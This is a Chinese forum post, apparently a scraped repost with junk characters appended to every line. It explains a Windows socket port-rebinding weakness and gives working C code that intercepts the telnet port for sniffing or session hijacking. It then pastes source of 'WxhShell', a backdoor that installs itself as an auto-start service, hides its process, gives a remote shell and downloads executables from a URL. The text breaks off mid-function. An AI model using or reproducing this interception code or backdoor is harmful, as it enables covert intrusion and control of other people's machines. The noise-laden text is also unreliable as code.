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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _$i9Tk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A' dt WD  
WdunI~&.  
  saddr.sin_family = AF_INET; _wZ(%(^I  
/x0zZ+}V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M~ynJ@q  
Yw?%>L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `A&64D  
M ;\K+,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (Pvch!  
%8S!l;\H5  
  这意味着什么?意味着可以进行如下的攻击: n+Fl|4  
-bZ^A~<O,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,lL0'$k~  
%S$P+B?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /SlCcozFL~  
IF5+&O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9R'rFI  
JGGss5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (8=Zr0He  
xV<NeU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MttVgNV  
<aL$d7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X@|  
ec"L*l"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vERsrg;(  
?=Ma7 y  
  #include ymr-kB  
  #include G78rpp  
  #include ew }C*4qH  
  #include    }1X,~y]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3<'SnP3mY  
  int main() KY2xKco  
  {  '=%vf  
  WORD wVersionRequested; |_!xA/_U'T  
  DWORD ret; )|Y"^K%Jm  
  WSADATA wsaData; h r*KDT^!  
  BOOL val; e:NzpzI"v  
  SOCKADDR_IN saddr; XXxX;xz$  
  SOCKADDR_IN scaddr; 0($MN]oZa  
  int err; 15Yy&9D  
  SOCKET s; .i[Tp6'%,  
  SOCKET sc; o6B!ikz 8  
  int caddsize; QsI$4:yl  
  HANDLE mt; +de.!oY  
  DWORD tid;   #_|b;cf  
  wVersionRequested = MAKEWORD( 2, 2 ); ,+zLFQC0@  
  err = WSAStartup( wVersionRequested, &wsaData ); ZFz>" vt@  
  if ( err != 0 ) { ~w4aA<2Uq  
  printf("error!WSAStartup failed!\n"); 9at7$Nq  
  return -1; ~~'XY(\L@  
  } ;uR8pz e  
  saddr.sin_family = AF_INET; rpDH>Hzq  
   D&Ngg)_Mq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F?5kl/("  
4s0>QD$J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^t9"!K  
  saddr.sin_port = htons(23); w;>]L.n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dve5Ml-  
  { "QGP]F  
  printf("error!socket failed!\n"); fv<($[0  
  return -1; y5+-_x,  
  } Ww)qBsi8  
  val = TRUE; `|v0@-'$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N \A)P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SGjaH 8z  
  { {_ewc/~  
  printf("error!setsockopt failed!\n"); Q$V xm+  
  return -1; eT:%i"C  
  } PJh\U1Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s)xfTr_$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cZ^$!0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~mmI] pC  
0+cRUH9Ew  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4.CLTy3W  
  { GD~3RnGQ{  
  ret=GetLastError(); k{"~G#GwP  
  printf("error!bind failed!\n"); ad i5h  
  return -1; F;`of  
  } |wVoJO!O}  
  listen(s,2); UmInAH4  
  while(1) p5G O@^i  
  { e J2[=L'  
  caddsize = sizeof(scaddr); SQa.xLU  
  //接受连接请求 B)ynF?"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bpKMQrwd  
  if(sc!=INVALID_SOCKET) < ~x5{p  
  { FW[<;$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IExQ}I  
  if(mt==NULL) l|j&w[c[Q0  
  { L-G186B$r  
  printf("Thread Creat Failed!\n"); P{rJG '  
  break; LFV;Y.-(h  
  } HHa7Kh|-H  
  } H\^5>ccU>V  
  CloseHandle(mt); !4I?59  
  } &AOw(?2  
  closesocket(s); 0#sk]Qz  
  WSACleanup(); 5\EHu8  
  return 0; Y6^lKw  
  }   (WN'wp  
  DWORD WINAPI ClientThread(LPVOID lpParam) #@lr$^M  
  { -v>BeVF  
  SOCKET ss = (SOCKET)lpParam; cGOE$nL  
  SOCKET sc; <Hm:#<\  
  unsigned char buf[4096]; -^\k+4;  
  SOCKADDR_IN saddr; Jg;Hg[  
  long num; UxD1+\N6?  
  DWORD val; sOU_j4M{  
  DWORD ret; #BlH)Cv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @YWfq$23  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >G/>:wwSP.  
  saddr.sin_family = AF_INET; MH{vFA4:,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3=sA]j-+(  
  saddr.sin_port = htons(23);  6~$ <  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I%{^i d@  
  { l_^>spF  
  printf("error!socket failed!\n"); Z0`?  
  return -1; S,Zjol%p  
  } ;@v7AF6Hq  
  val = 100; *M- .Vor?R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) owYfrf3ZLX  
  { >Z<ym|(T*  
  ret = GetLastError(); ,ulNap"R  
  return -1; &WvJg#f  
  } br$!}7#=L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Fb"Is#S,  
  { YVu8/D@ o  
  ret = GetLastError(); y%E R51+  
  return -1; |byB7 f  
  } $_)YrqSo~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) If!0w ;h  
  { z-$?.?d  
  printf("error!socket connect failed!\n"); Er{[83  
  closesocket(sc); CdTmL{Y1  
  closesocket(ss); $V`O%Sz  
  return -1; Ldir'FW  
  } JR7~|ov  
  while(1) A[+op'>k  
  { as o8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  LFGu|](  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fp12-Hk ~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T']*h8  
  num = recv(ss,buf,4096,0); j] M)i:n  
  if(num>0) ~R!(%j ]  
  send(sc,buf,num,0); s/P\w"/fN  
  else if(num==0) rYm<U!k  
  break; 8 _`Lx_R  
  num = recv(sc,buf,4096,0); ?:n{GK  
  if(num>0) tGM)"u-  
  send(ss,buf,num,0); Of([z!'Gc  
  else if(num==0) Ie4*#N_  
  break; l*%voKZG  
  } \Xxx5:qM  
  closesocket(ss);  4uU(t  
  closesocket(sc); <w{W1*R9  
  return 0 ; q. BqOa:  
  } EY2s${26%  
B#EF/\5  
Z][?'^`^!  
========================================================== du'$JtZo  
vc^PXjX  
下边附上一个代码,,WXhSHELL 9Cf^Q3)5o  
e$F7wto  
========================================================== 1{";u"q  
m{+lG*  
#include "stdafx.h" ax7 M  
A=h`Z^8\B  
#include <stdio.h> ( 7Y :3  
#include <string.h> .fD k5uo  
#include <windows.h> QfwGf,0p  
#include <winsock2.h> 3P-#NL  
#include <winsvc.h> ' P-K}Y  
#include <urlmon.h> O]{H2&k@  
BLMcvK\9  
#pragma comment (lib, "Ws2_32.lib") BKvF,f/g  
#pragma comment (lib, "urlmon.lib") wJ IJPYTK  
s/ZOA[Yux  
#define MAX_USER   100 // 最大客户端连接数 %R&3v%$y*  
#define BUF_SOCK   200 // sock buffer OtQKDpJq  
#define KEY_BUFF   255 // 输入 buffer UK& E#i  
G ROl9xp2  
#define REBOOT     0   // 重启 b[RBp0]x  
#define SHUTDOWN   1   // 关机 ]]d@jj  
{' r(P&  
#define DEF_PORT   5000 // 监听端口 8oA6'%.e  
WNL3+  
#define REG_LEN     16   // 注册表键长度 $T3/*xN  
#define SVC_LEN     80   // NT服务名长度 5-]%D(y  
7*[>e7:A  
// 从dll定义API 06Uxd\E~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +;; fw |/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EidIi"sr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D0x+b2x^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L ~ 1Lv?  
@uH7GW}$g  
// wxhshell配置信息 fJ\Ys;l[j  
struct WSCFG { ^/g&Q  
  int ws_port;         // 监听端口 n,Ux>L  
  char ws_passstr[REG_LEN]; // 口令 * ?KQ\ Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no t.knYO)  
  char ws_regname[REG_LEN]; // 注册表键名 [$H8?J   
  char ws_svcname[REG_LEN]; // 服务名 =1+I<Ljk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !7bC\ {  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1N#TL"lMS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d5zzQ]|L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "?avb`YU'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q{ctHsQ(9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7 ic]q,  
f#X`e'1  
}; mX|AptND  
EQ=Enw1[  
// default Wxhshell configuration \=5CNe  
struct WSCFG wscfg={DEF_PORT, F7"Ihb^l  
    "xuhuanlingzhe", Gl1`Nx0  
    1, >Zmpsa+  
    "Wxhshell", fDbs3"H Q  
    "Wxhshell", UdLC]  
            "WxhShell Service", G.oaDGy  
    "Wrsky Windows CmdShell Service", Wg}#{[4  
    "Please Input Your Password: ", eMh:T@SN  
  1, #c!(97l6o  
  "http://www.wrsky.com/wxhshell.exe", BY \p?79  
  "Wxhshell.exe" |AWu0h\keO  
    }; CQtd%'rt6  
9sT?"(=  
// 消息定义模块 Wa[~)A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =BGc@:2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z,] fR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A #jiCIc  
char *msg_ws_ext="\n\rExit."; j|? bva\  
char *msg_ws_end="\n\rQuit."; \sRRLDj%  
char *msg_ws_boot="\n\rReboot..."; ;#Mq=Fr-SG  
char *msg_ws_poff="\n\rShutdown..."; *><] [|Y@H  
char *msg_ws_down="\n\rSave to "; PK+][.6H  
.3HC*E.e  
char *msg_ws_err="\n\rErr!"; PfuYT_p4s  
char *msg_ws_ok="\n\rOK!"; 9qqEr~  
jpBE| Nm  
char ExeFile[MAX_PATH]; 4|:{apH  
int nUser = 0; $6'xRUx X  
HANDLE handles[MAX_USER]; W tzV|e,  
int OsIsNt; '0o`<xW  
S2<(n,"  
SERVICE_STATUS       serviceStatus; ^kXDEKm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y*7ht{B  
_k j51=  
// 函数声明 LI nN-b#  
int Install(void); sO(Kpo9jq  
int Uninstall(void); s;5PHweWf  
int DownloadFile(char *sURL, SOCKET wsh); k)4|%  
int Boot(int flag); *dKA/.g  
void HideProc(void); }xdI{E1 q)  
int GetOsVer(void); X=.+XP]  
int Wxhshell(SOCKET wsl); H=yD}!j  
void TalkWithClient(void *cs); G&Cl:CtC  
int CmdShell(SOCKET sock); =6+BBD  
int StartFromService(void); aa".d[*1  
int StartWxhshell(LPSTR lpCmdLine); U7ajDw  
2r* o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0kiW629o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rw. Uz&  
L)w& f  
// 数据结构和表定义 2"i<--Y  
SERVICE_TABLE_ENTRY DispatchTable[] = a7d782~  
{ }RoM N$r  
{wscfg.ws_svcname, NTServiceMain}, WQK#&r*  
{NULL, NULL} !w/~dy  
}; 2{#quXN9  
6DR8(j)=[%  
// 自我安装 !'[sV^ ds  
int Install(void) wCI.jGSBW  
{ hU4~`g p  
  char svExeFile[MAX_PATH]; s]2k@3|e  
  HKEY key; %{Ls$Y)  
  strcpy(svExeFile,ExeFile); Ak9W8Z}  
4ErDGYg}  
// 如果是win9x系统,修改注册表设为自启动 3PJ  
if(!OsIsNt) { _5X}&>>lhF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WrD20Q$9Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :V_$?S  
  RegCloseKey(key); goHr# @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+~~w'v0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0[hl&7 Ab@  
  RegCloseKey(key); S`*al<m  
  return 0; 1-qQp.Wj  
    } mS );bs  
  } }'Z(J)Bg  
} UPgZj\t%{  
else { G A7  
~XZ1,2jA/  
// 如果是NT以上系统,安装为系统服务 B\("08x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +HfjnEbtBs  
if (schSCManager!=0) aG" UV\  
{ \ _i`=dx  
  SC_HANDLE schService = CreateService (JM4W "7'  
  ( i;\i4MT  
  schSCManager, Z,d/FC#y(  
  wscfg.ws_svcname, ->j9(76"  
  wscfg.ws_svcdisp, Lv_6Mf(  
  SERVICE_ALL_ACCESS, 8XY4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !IGVN:E  
  SERVICE_AUTO_START, (Bmjz*%M  
  SERVICE_ERROR_NORMAL, {`3;Pd`  
  svExeFile, De^is^{  
  NULL, @lj  
  NULL, Cw+ (,1  
  NULL, Ia(A&Za  
  NULL, $h$+EE!  
  NULL Z4(2&t^  
  ); nrf%/L  
  if (schService!=0) j$L<9(DoR  
  { xw=B4u'z  
  CloseServiceHandle(schService); TIvLY5 HG  
  CloseServiceHandle(schSCManager); 6}|vfw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zY#U]Is  
  strcat(svExeFile,wscfg.ws_svcname); ^QnVYTM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +0=RC^   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F.\]Hqq  
  RegCloseKey(key); ++kiCoC  
  return 0; ,)QmQ ^/  
    } r1=Zoxc=w  
  } ;=n7 Z  
  CloseServiceHandle(schSCManager); 3'']q3H  
} =W4cWG?+  
} P/ y-K0u  
^X_%e|  
return 1; f9&D1Gh+w  
} ^Krkf4fO  
oS`F Yy  
// 自我卸载 D{8V^%{  
int Uninstall(void) .&[nS<~`  
{ L?Lp``%bI7  
  HKEY key; 9YvMJ  
leD?yyjw7  
if(!OsIsNt) { ):\ pD]e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =9)ypI-2  
  RegDeleteValue(key,wscfg.ws_regname); :7`,dyIqT  
  RegCloseKey(key); D~%cf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JRo{z{!O6  
  RegDeleteValue(key,wscfg.ws_regname); .oe,# 1Qh{  
  RegCloseKey(key); O{dx+f  
  return 0; b#]in0MT?@  
  } TQEZ<B$  
} i 9b^\&&  
} M9N|Ql  
else { /qp`xJ  
5(F!* 6i>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UtWoSFZ'o!  
if (schSCManager!=0) LD6fi  
{ F(w>lWs;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \fKv+  
  if (schService!=0) g =%W"v  
  { N2~z&y8.  
  if(DeleteService(schService)!=0) { I%(+tJ  
  CloseServiceHandle(schService); 3oIoQj+D  
  CloseServiceHandle(schSCManager); 9S<W~# zz  
  return 0; %_ z]iz4  
  } MdyH/.Te  
  CloseServiceHandle(schService); :,7VqCh3@  
  } /|\`NARI  
  CloseServiceHandle(schSCManager); =]^* -f}J9  
} svQDSif  
} OI-%Ig%C#l  
,wFLOfV@  
return 1; 'shOSB  
} ?Cu$qE!h)[  
D ,)~j6OG8  
// 从指定url下载文件 BHU[Rz7x  
int DownloadFile(char *sURL, SOCKET wsh) wY=ky629  
{ "~Eo=R0O  
  HRESULT hr; |[: `izW  
char seps[]= "/"; }8FP5Z'Cf%  
char *token;  %"z W]  
char *file; J7$=f~$  
char myURL[MAX_PATH]; G%>[I6G  
char myFILE[MAX_PATH]; x7/2e{p uu  
X%gJ, c(4  
strcpy(myURL,sURL); _I -0[w  
  token=strtok(myURL,seps); H`".L^  
  while(token!=NULL) `n_ Z  
  { Y6CadC  
    file=token; i&l$G55F  
  token=strtok(NULL,seps); ZNx{7]=a  
  } Na`qAj}  
9~4Kbmr>q  
GetCurrentDirectory(MAX_PATH,myFILE); 16] O^R;r  
strcat(myFILE, "\\"); s$]I@;_  
strcat(myFILE, file); x:@e ID  
  send(wsh,myFILE,strlen(myFILE),0); xqG` _S l  
send(wsh,"...",3,0); g%+nMjif  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qr0GxGWU  
  if(hr==S_OK) qD9B[s8  
return 0; F-ZD6l9O  
else O ,DX%wk,  
return 1; mtF&Z\ag  
z1"UF4x*  
} PffwNj/l  
K'71uW>  
// 系统电源模块 L@+j8[3BX  
int Boot(int flag) sC}/?^q  
{ -OziUM1qs  
  HANDLE hToken; fZGKVxo"  
  TOKEN_PRIVILEGES tkp; )pzXC  
&556;l  
  if(OsIsNt) { ilNm\fQ.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rKjQEO$yi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;DGWUK.U[H  
    tkp.PrivilegeCount = 1; !Q?4sAB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hR?rZUl2M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :<jf}[w!  
if(flag==REBOOT) { tG{Vn+~/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6)?TWr'Ke  
  return 0; Dg]i};  
} 9\"~G)  
else { 6 HEl1FK{@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;or> Sh7  
  return 0; mg 3jm  
} ~ PPGU1  
  } '}}DPoV  
  else { l@GpVdrv  
if(flag==REBOOT) { q6,xsO,+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uD5i5,q1Hs  
  return 0; , <[os  
} #VrT)po+  
else { %ZxKN;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pjoI};  
  return 0; )zt5`"/o  
} _\1(7?0D  
} +6>Pp[%  
1E-$f  
return 1; |W::\yu6  
} 2L\h+)  
Oc8+an1m  
// win9x进程隐藏模块 ?W|POk}  
void HideProc(void) 1ri#hm0x\  
{ &iSQ2a!l8b  
Wd%j;glG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h&Sl8$jVp  
  if ( hKernel != NULL ) n%O`K{86  
  { ^X?[zc GE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qa Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z@*Z@]FC  
    FreeLibrary(hKernel); "q%)we  
  } SnXLjJe  
:_^YEm+A  
return; 9 V;m;sz  
} -Wig k['v  
>B9rr0d0  
// 获取操作系统版本 XrvrN^'  
int GetOsVer(void) LD5'4,%-  
{ xNONf4I:6J  
  OSVERSIONINFO winfo; 4C2 D wj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WH/a#F  
  GetVersionEx(&winfo); Ylf6-FbF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D~ {)\;w^!  
  return 1; %:/;R_  
  else !l&lb]V cz  
  return 0; 0r@rXwz  
} G cbal:q  
Zaj<*?\  
// 客户端句柄模块 d*G $qUiX  
int Wxhshell(SOCKET wsl) Ky=&C8b<  
{ i0 R=P[  
  SOCKET wsh; |[V(u  
  struct sockaddr_in client; =];FojC6I  
  DWORD myID; (Hs frc  
.!`j3W]  
  while(nUser<MAX_USER) ,rN7X<s54  
{ >s>5k O  
  int nSize=sizeof(client); NT nn!k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZqhINM*Rm  
  if(wsh==INVALID_SOCKET) return 1; k82'gJ;MC=  
n2QD*3i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H#ihU3q  
if(handles[nUser]==0) ;P{ *'@  
  closesocket(wsh); 4bKZ@r%  
else c=K M[s.  
  nUser++; 4Pt0^;H&jn  
  } D`gY6wX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~:0h o  
.=NK^  
  return 0; I 7TMv.  
} W}e5 4-lu  
x^ Wgo`v)  
// 关闭 socket ,p2 Di  
void CloseIt(SOCKET wsh) duM>( y  
{ ,5/gNg  
closesocket(wsh); $pD^O!I)?  
nUser--; H@6  
ExitThread(0); eD/?$@y  
} ;CC[>  
8?(4E 'vf  
// 客户端请求句柄 }{ P}P}  
void TalkWithClient(void *cs) =l\D7s  
{ +uH1rF_&@  
H<>x_}&  
  SOCKET wsh=(SOCKET)cs; t EN%mK  
  char pwd[SVC_LEN]; Gh< r_O~L3  
  char cmd[KEY_BUFF]; W[vak F  
char chr[1]; ~vt8|OOo0  
int i,j; f&,.h"bS  
[m4<j  
  while (nUser < MAX_USER) { ':fVb3A[*d  
 [g/g(RL  
if(wscfg.ws_passstr) { qzH97<M}T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > vahj,CZZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r"4:aKF>  
  //ZeroMemory(pwd,KEY_BUFF); $V+ze*ra  
      i=0; r9QNE>UG  
  while(i<SVC_LEN) { E;X'.7[c  
's9)\LS>p  
  // 设置超时 sPhh#VCw{  
  fd_set FdRead; xOt|j4  
  struct timeval TimeOut; $DQMN  
  FD_ZERO(&FdRead);  g6~uf4;  
  FD_SET(wsh,&FdRead); h;Bol  
  TimeOut.tv_sec=8; :xA'X+d/'  
  TimeOut.tv_usec=0; SAqX[c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PeG8_X}u9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >97V2W  
08twcY;&k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d) > if<o  
  pwd=chr[0]; 4A*' 0!H  
  if(chr[0]==0xd || chr[0]==0xa) { : |Z*aI]9  
  pwd=0; Nc7YMxk'H  
  break; VMNihx0FJ  
  } A/o=a#  
  i++; U"ZDt  
    } :JOF!Q  
_qGkTiP  
  // 如果是非法用户,关闭 socket .NPai4V'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m*(8I=]q  
} N". af)5  
;MO %))  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i JQS@2=A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :0]KIybt  
vm Hf$rq  
while(1) { t n}9(Oa)  
JU~l  
  ZeroMemory(cmd,KEY_BUFF); {% ;tN`{M  
{?t=*l\S{w  
      // 自动支持客户端 telnet标准   V43 |Ej}E  
  j=0; 7wZKK0;T  
  while(j<KEY_BUFF) { ~UL; O\-b0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q!@" Y/  
  cmd[j]=chr[0]; =XqmFr;h  
  if(chr[0]==0xa || chr[0]==0xd) { d-c+ KV  
  cmd[j]=0; 1c\$ziB  
  break; DSQ2z3s2  
  } ,Z3.Le"  
  j++; Y(-+>>j_  
    } >`t |a  
[aIQ/&Y  
  // 下载文件 f):|Ad|  
  if(strstr(cmd,"http://")) { O* 7" Q&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -()CgtSR  
  if(DownloadFile(cmd,wsh)) AJj6@hi2P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p! Hpq W  
  else uv Z!3UH.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =WHdy;  
  } V a<L[8  
  else { `~gyq>Ik2  
-`A6K!W&~p  
    switch(cmd[0]) { &L;0%  
  RU@`+6 j+  
  // 帮助 sqsBGFeG  
  case '?': { \`x$@s?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qi$6y?  
    break; yQh":"$k  
  } VJm).>E3k  
  // 安装 uN'e~X6  
  case 'i': { ':J[KWuV  
    if(Install()) V+DN<F-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $My%7S/3  
    else sN;xHTY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g }5lGz4  
    break; N5o jXX!l%  
    } 0<fN<iR`  
  // 卸载 meE&, {  
  case 'r': { 3!#d&  
    if(Uninstall()) 6=iz@C7r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f7\$rx  
    else JZ9w!)U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <&Y7Q[  
    break; 8I`>tY  
    }   Lxs  
  // 显示 wxhshell 所在路径 6>zO"9  
  case 'p': { Fq9AO~z  
    char svExeFile[MAX_PATH];  >.0B%  
    strcpy(svExeFile,"\n\r"); M"1}"ex#  
      strcat(svExeFile,ExeFile); YiB^m   
        send(wsh,svExeFile,strlen(svExeFile),0); 6> X7JMRY  
    break; w8c71C  
    } %r?Y!=0  
  // 重启 7]62=p2R  
  case 'b': { ]w"r4HlCx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Jwo,?w  
    if(Boot(REBOOT)) ' 4ftclzL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j$,:cN  
    else { Qv|A^%Ub!  
    closesocket(wsh); 7$Jb"s  
    ExitThread(0); +CaPF  
    } 3Oy?_a$  
    break; r_F\]68  
    } %;~Vc{Xxt/  
  // 关机 ;&oS=6$  
  case 'd': { P|l62!m<   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I^emH+!MW  
    if(Boot(SHUTDOWN)) ~#C7G\R  
